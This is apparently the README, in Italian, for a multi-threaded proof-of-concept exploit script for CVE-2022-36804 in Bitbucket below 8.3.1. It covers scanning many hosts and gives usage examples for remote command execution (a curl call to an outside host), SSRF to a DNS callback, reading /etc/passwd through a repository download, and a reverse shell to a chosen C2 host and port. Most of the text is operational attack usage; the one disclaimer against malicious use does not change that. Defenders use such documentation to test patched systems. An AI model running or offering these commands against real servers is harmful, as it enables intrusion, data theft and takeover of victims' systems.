CVE-2022-36804-PoC

Script exploit multi-thread per CVE-2022-36804 che colpisce la (maggior parte) delle versioni di BitBucket <8.3.1 Consulta l'avviso completo qui https://jira.atlassian.com/browse/BSERV-13438

Tutto il merito a TheGrandPew per la scoperta

Lo script rileverà automaticamente i repository pubblici presenti sulle istanze BitBucket, quindi selezionerà un repository casuale su cui effettuare la verifica o eseguire la vulnerabilità. Se non sono presenti repository pubblici, è necessario un cookie 'BITBUCKETSESSIONID' valido per sfruttare le istanze vulnerabili note.

Il PoC è stato progettato per accettare più host in input e restituire gli host vulnerabili su stdout, consentendo il piping dei risultati per essere elaborati da altri strumenti.

Non utilizzare per scopi dannosi.

Utilizzo

usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
                         [--skip-check] [-t THREADS] [-v]
                         repos [repos ...]

CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1

optional arguments:
  -h, --help            show this help message and exit

required arguments:
  repos                 Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on

optional arguments:
  --auth-cookie AUTH_COOKIE
                        Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
  --proxy PROXY         HTTP Proxy: <http/https>://<ip>:<port>
  -e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
                        Exploit to perform
  --cmd CMD             Command to execute for the 'rce' exploit (curl http://example.com)
  --knary KNARY         Knary to respond too via DNS for the 'ssrf' exploit
  --server-file SERVER_FILE
                        Server file to download for the 'download' exploit (/etc/passwd)
  --host HOST           Hostname or IP address of c2 for the 'rev_shell' exploit
  --port PORT           Port of the c2 for the 'rev_shell' exploit
  --skip-check          Skip vulnerability checking stage
  -t THREADS, --threads THREADS
                        Worker Threads
  -v, --verbose         Increase output verbosity level

Modalità di exploit

Check

Singolo host

CVE-2022-36804.py http://bitbucket.local:7990/

Host multipli e piping degli host vulnerabili e dei repository sfruttati su file

CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts

RCE (Esecuzione Remota di Codice)

CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/

SSRF (Server-Side Request Forgery)

Effettua una richiesta DNS al knary specificato

CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/

Download

Scarica un repository con il file target /etc/passwd, questo salverà il repository compresso in un nome file casuale.

CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/

Rev_shell (Genera una shell sh inversa verso l'host e la porta specificati)

CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/